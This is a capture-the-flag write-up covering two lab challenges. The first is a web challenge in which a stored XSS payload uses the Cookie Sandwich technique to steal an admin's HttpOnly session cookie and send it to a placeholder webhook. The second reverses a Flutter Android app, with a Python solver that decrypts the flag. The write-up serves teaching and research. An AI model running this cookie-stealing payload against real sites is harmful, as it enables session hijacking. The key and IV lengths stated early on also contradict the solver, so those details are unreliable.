Kuwait Cyber League CTF (2025)
My team and I participated in the Kuwait Cyber League CTF held on October 18, 2025. The competition featured a variety of challenges across multiple categories, We unfortunately, did not secure the first place, however we managed to place 2nd overall, due to various factors including our main binary exploitation/reverse engineering expert not being able to participate due to personal reasons. We have solved 10 challenges out of the 14 available, which is respectable considering the technical challenges the platform were having.
Bottle - Hard Challenge Writeup
This challenge was particularly interesting and educational as i was not deeply familiar with the Cookie Sandwich technique prior to this CTF. It was a great opportunity to learn about this and understand its practical applications.
Challenge Overview
Challenge Name: Bottle Download link.
Difficulty: Hard.
Challenge Hint: “HttpOnly cookies can’t be read by JavaScript, so they can’t be stolen via XSS, right?”
The challenge presented a Bottle web application with note-taking functionality and an admin bot that visits reported notes. The goal was to steal the admin’s HTTPOnly session cookie and retrieve the flag from /admin/flag.
Initial Analysis
Application Architecture
- Web Application - Bottle framework (Python).
- Admin Bot - Puppeteer bot that authenticates as admin and visits reported notes
- Key Endpoints:
/note/add-note- Create notes with user content./note/<id>- View note preview./admin/flag- Protected endpoint requiring admin authentication./bot- Report notes to admin bot./set-lang/<lang>- Set language cookie./about- About page.
Security Features Identified
# Custom cookie implementation (app.py lines 100-147)
def set_custom_cookie(response_obj, name, value, signed=False, **kwargs):
# NO ESCAPING of cookie values!
cookie_parts = [f"{name}={value}"]
# ... builds Set-Cookie header directly
# Session cookies set with HttpOnly flag (app.py line 202)
set_custom_cookie(response, 'session', session_id, signed=True, httponly=True, path='/')
# IP-based access control (app.py lines 305-306)
real_ip = request.remote_addr
if real_ip == '127.0.0.1' or real_ip == '::1' or real_ip.startswith('127.'):
return "Access denied from localhost."
Vulnerabilities Found
- XSS Vulnerability -
note_preview.tplline 23:
<div class="note-preview">
{% raw %}
{{!note['content']}} <!-- Unescaped rendering! -->
{% endraw %}
</div>
- Cookie Reflection - Multiple templates render lang cookie:
<html lang="{{lang}}"> <!-- Lang cookie reflected in HTML -->
- Custom Cookie Implementation - No value escaping in
set_custom_cookie()
The Problem: HTTPOnly Cookie Protection
The admin’s session cookie was set with the HttpOnly flag, which prevents JavaScript from accessing it via document.cookie. Traditional XSS attacks cannot steal HTTPOnly cookies directly.
Bot Configuration (bot.js):
APPURL: process.env['APPURL'] || "http://127.0.0.1:8081"
The bot always visits from 127.0.0.1, triggering the IP restriction on /admin/flag:
"Access denied from localhost."
Research Phase
Initial Attempts (Failed)
- Direct fetch() to /admin/flag - HTTPOnly cookies sent automatically, but IP check blocked access
- X-Forwarded-For manipulation -
RemoveProxyHeadersMiddlewarestripped all proxy headers - Basic Cookie Sandwich - Bottle’s cookie parser properly handled standard cookie formats
Key Research Sources
After hitting roadblocks, we researched the Cookie Sandwich technique more deeply:
-
PortSwigger Research: Stealing HttpOnly cookies via legacy cookie parsing
- Introduced the concept of cookie parsing discrepancies
- Explained how
$Versioncookie triggers RFC2109 parsing mode
-
Medium Article: Cookie Sandwich Technique Writeup
- Provided practical exploitation examples
- Demonstrated cookie ordering with path manipulation
- Showed how quoted cookie values can capture subsequent cookies
The Cookie Sandwich Technique
The attack exploits differences between:
- How browsers send cookies
- How servers parse cookies (especially with RFC2109 mode)
Key Concepts:
- $Version Cookie - Switches server to RFC2109 parsing mode
- Quoted Cookie Values - RFC2109 allows quoted values that can contain semicolons
- Cookie Ordering - Browsers send cookies ordered by path specificity (most specific first)
- Cookie Reflection - Need an endpoint that reflects cookie values in readable form
Exploitation
Step 1: Understanding Cookie Parsing
We tested Bottle’s cookie parsing behavior:
# Test cases
'lang=test; session=secret' # Parses correctly
'lang="test; session=secret' # Returns None (malformed)
'lang="test"; session=secret' # Parses correctly
The key insight: Bottle supports RFC2109 quoted cookie values when $Version is present!
Step 2: Cookie Sandwich Setup
The attack creates a “sandwich” of cookies where the HTTPOnly session cookie gets trapped inside a quoted cookie value:
// Step 1: Set $Version=1 for RFC2109 mode
document.cookie = '$Version=1; domain=' + location.hostname + '; path=/about;';
// Step 2: Set lang with opening quote (more specific path)
document.cookie = 'lang="capture; domain=' + location.hostname + '; path=/about;';
// Step 3: Set dummy with closing quote (less specific path)
document.cookie = 'dummy=end"; domain=' + location.hostname + '; path=/;';
Cookie Ordering: Browsers send cookies with more specific paths first:
- Cookies with
path=/aboutare sent first - Cookies with
path=/are sent last
Resulting Cookie Header:
Cookie: $Version=1; lang="capture; session=HTTPONLY_VALUE|timestamp|sig; dummy=end"
Step 3: Cookie Reflection
When the server calls request.get_cookie('lang') with RFC2109 parsing enabled:
- It treats the quoted value as a single string
- The entire content between quotes is returned:
"capture; session=VALUE; dummy=end"
This value gets reflected in the HTML template:
<html lang="capture; session=2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI; dummy=end">
JavaScript can now read this from the DOM
Step 4: Session Extraction
// Fetch page with reflected cookie
let r = await fetch('/about', {credentials:'include'});
let html = await r.text();
// Extract lang attribute containing the session cookie
let match = html.match(/<html lang="([^"]*)"/);
let langValue = match ? match[1] : '';
// Parse out the session cookie
let sessionMatch = langValue.match(/session=([^;]+)/);
let sessionCookie = sessionMatch ? sessionMatch[1] : null;
Webhook Result:
{
"stolen_session": "2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI",
"full_lang_value": "capture; session=2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI; lang=en; dummy=end"
}
Step 5: Bypassing IP Restriction
With the stolen admin session cookie, we can now authenticate from our own IP (not localhost):
import requests
BASE_URL = "http://your-challenge.url"
stolen_session = "2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI"
s = requests.Session()
s.cookies.set('session', stolen_session)
response = s.get(f"{BASE_URL}/admin/flag")
Result:
Status Code: 200
Flag{QCFAMmFEaHhWYW95SmR5TFlncjhKY2RxMTJ3STNYUmkva1hOL1ovd2d4YVZnemNESjJBSDd3NFFlR09hTHVIYzdXNENYMm9kNllIYzE5V2FsMEc4a21Ra1E9PWRhNDgxOTQ1ZWU1MDg1ZWM=}
Complete Exploit Chain
XSS Payload
<script>
(async()=>{
try{
// Cookie Sandwich Attack
document.cookie = '$Version=1; domain=' + location.hostname + '; path=/about;';
document.cookie = 'lang="capture; domain=' + location.hostname + '; path=/about;';
document.cookie = 'dummy=end"; domain=' + location.hostname + '; path=/;';
await new Promise(r=>setTimeout(r, 400));
// Reflect cookies via /about page
let r = await fetch('/about', {credentials:'include'});
let html = await r.text();
let match = html.match(/<html lang="([^"]*)"/);
let langValue = match ? match[1] : '';
// Extract and exfiltrate session
let sessionMatch = langValue.match(/session=([^;]+)/);
let sessionCookie = sessionMatch ? sessionMatch[1] : null;
await fetch('WEBHOOK_URL',{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({ stolen_session: sessionCookie, full_lang_value: langValue })
});
}catch(e){
await fetch('WEBHOOK_URL',{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({ error: e.toString() })
});
}
})();
</script>
Exploitation Steps
- Login as regular user
- Create note with XSS payload
- Report note to admin bot
- Bot executes XSS, performs Cookie Sandwich attack
- Receive stolen session cookie via webhook
- Use stolen session from our IP to access
/admin/flag - Retrieve flag!
Conclusion
This challenge demonstrated that HTTPOnly cookies are NOT immune to theft when:
- Cookie values are reflected in page content
- Server’s cookie parser handles quoted values according to RFC2109
- Cookie ordering can be manipulated via path attributes
- An XSS vulnerability exists to execute the attack
The Cookie Sandwich technique is a sophisticated attack that exploits subtle differences between how browsers send cookies and how servers parse them. It serves as a reminder that defense-in-depth is essential - relying solely on HTTPOnly flags is insufficient when other vulnerabilities exist.
References
Clutter Mobile Security Challenge - Hard
Sadly due to time constraints I was not able to complete this challenge during the CTF, however I managed to solve it later on my own time. Below is the writeup for this challenge.
Challenge Overview
This challenge ships an Android Flutter application (Clutter) together with an encrypted flag that was base64‑encoded after encryption. Our goal is to reverse the app, understand how it derives its encryption keys, and reproduce the exact process offline to recover the plaintext flag. download link
Key takeaways:
- The app is a Flutter build; the compiled Dart code sits inside
libapp.so. Secret.getSecretperforms 10 000 rounds of SHA-256 on a seed string and returns the final hex digest.Secret.encryptslices the digest (as ASCII) into an AES-256 key and 128-bit IV, then encrypts with AES-CBC + PKCS7.- The seed is the six-digit TOTP generated by
_TOTPVerificationPageState::_verifyTOTP. - The TOTP is deterministic: it uses the hard-coded timestamp
1999-10-20T09:00:00Z, the fixed Base32 secretORUGS427NFZV63TPORPXI2DFL5TGYYLHL52XO5K7, HMAC-SHA256, and a 30 s step.
Once we mirror that logic, decrypting the provided ciphertext recovers the flag.
Tooling
- apktool - unpack the APK and extract
libapp.so. - blutter - disassembled Dart VM IR and object pool dumps.
- python with cryptography package.
- Custom Python solver (below) to re-create the secret derivation pipeline and decrypt the ciphertext.
Stage 1 - Code Reconnaissance
- By Inspecting
decompiled.flutter/asm/clutter/secret.dartwe notes the following:Secret.encryptgrabs the first 64 characters of the 10 000-round SHA-256 digest as the AES key and the first 32 characters for the IV.- It passes those substrings to
Encrypted.fromUtf8, meaning the encrypt library interprets them as UTF-8 bytes, not hex.
Secret.getSecretloops 10 000 times:
returning the final hex string.s_0 = seed s_{i+1} = sha256(s_i.encode()).hexdigest()_EncryptionPageState::_encryptMessageforwards only the verified TOTP code intoSecret.encrypt; the user’s message is supplied separately as plaintext input.
Stage 2 - Rebuilding the TOTP Derivation
From decompiled.flutter/asm/clutter/main.dart, focusing on _TOTPVerificationPageState::_verifyTOTP:
- The page controller initially holds a fixed string. When verification starts:
- Parse the string using
DateTime.parse. - Call
initializeTimeZonesandgetLocationto loadAmerica/Los_Angeles. - Build a
TZDateTimein that zone, then fetchmillisecondsSinceEpoch. - Call
OTP.generateTOTPCodeString(milliseconds, secret, ...).
- Parse the string using
- The object pool (
pp.txt) reveals the constants:- Timestamp literal:
"1999-10-20T09:00:00Z". - Base32 secret:
"ORUGS427NFZV63TPORPXI2DFL5TGYYLHL52XO5K7".
- Timestamp literal:
- Inspecting
otp/otp.dartshows the app uses HMAC-SHA256 (Instance__Sha256) with a 30-second step and produces 6 digits.
Therefore the seed fed into Secret.getSecret is the string 213947 generated from that timestamp.
Reproducing it in Python:
import base64, hashlib, hmac, struct, datetime, pytz
secret_b32 = 'ORUGS427NFZV63TPORPXI2DFL5TGYYLHL52XO5K7'
key = base64.b32decode(secret_b32, casefold=True)
instant = datetime.datetime.fromisoformat('1999-10-20T09:00:00+00:00')
la = pytz.timezone('America/Los_Angeles')
local_instant = instant.astimezone(la)
counter = int(local_instant.timestamp()) // 30 # seconds / 30
msg = struct.pack('>Q', counter)
digest = hmac.new(key, msg, hashlib.sha256).digest()
offset = digest[-1] & 0x0F
code = (struct.unpack('>I', digest[offset:offset+4])[0] & 0x7FFFFFFF) % (10 ** 6)
print(f"Based on the TOTP derivation, the seed is: {code:06d}")
assert f"{code:06d}" == "213947"
Stage 3 - Deriving the AES Key/IV and Decrypting
- Start from seed
"213947". - Loop 10 000 times:
s = sha256(s.encode()).hexdigest(). After the final iteration:cd270ea25a26fdbb468afda746fda5e3798810f52e7d278bd5488892058df950 - The encrypt package uses the ASCII bytes of the substrings:
- Key = first 32 characters →
cd270ea25a26fdbb468afda746fda5e3(32 ASCII bytes → 256 bits). - IV = first 16 characters →
"cd270ea25a26fdbb"(16 ASCII bytes → 128 bits).
- Key = first 32 characters →
- Decrypt the base64-decoded ciphertext with AES-CBC/PKCS7.
Solver Script
#!/usr/bin/env python3
import base64
import datetime
import hashlib
import hmac
import struct
import pytz
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
def generate_totp(timestamp: str, secret_b32: str) -> str:
key = base64.b32decode(secret_b32, casefold=True)
instant = datetime.datetime.fromisoformat(timestamp.replace("Z", "+00:00"))
la = pytz.timezone("America/Los_Angeles")
counter = int(instant.astimezone(la).timestamp()) // 30
msg = struct.pack(">Q", counter)
digest = hmac.new(key, msg, hashlib.sha256).digest()
offset = digest[-1] & 0x0F
code = (struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF) % (10 ** 6)
return f"{code:06d}"
def derive_digest(seed: str, rounds: int = 10_000) -> str:
s = seed
for _ in range(rounds):
s = hashlib.sha256(s.encode()).hexdigest()
return s
def decrypt_flag(cipher_b64: str) -> bytes:
timestamp = "1999-10-20T09:00:00Z"
secret_b32 = "ORUGS427NFZV63TPORPXI2DFL5TGYYLHL52XO5K7"
otp = generate_totp(timestamp, secret_b32)
digest = derive_digest(otp)
key = digest[:32].encode() # ASCII, not hex → 256-bit key
iv = digest[:16].encode() # ASCII → 128-bit IV
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
padded = decryptor.update(base64.b64decode(cipher_b64)) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
plaintext = unpadder.update(padded) + unpadder.finalize()
return plaintext
with open("encrypted.flag.txt", "r", encoding="utf-8") as f:
ciphertext_b64 = f.read().strip()
print(f"The flag is:\n{decrypt_flag(ciphertext_b64).decode()}")
Running the script:
$ python solver.py
The flag is:
flag{clu773r_blu773r_wh47_d035_7h47_3v3n_m34n????}
This concludes the writeup for the Bottle web challenge and the Clutter mobile security challenge from the Kuwait Cyber League CTF 2025. The other challenges were easy enough that I did not document them in detail. Overall, it was a fun and educational experience! If there is a demand, I may write up the other challenges later.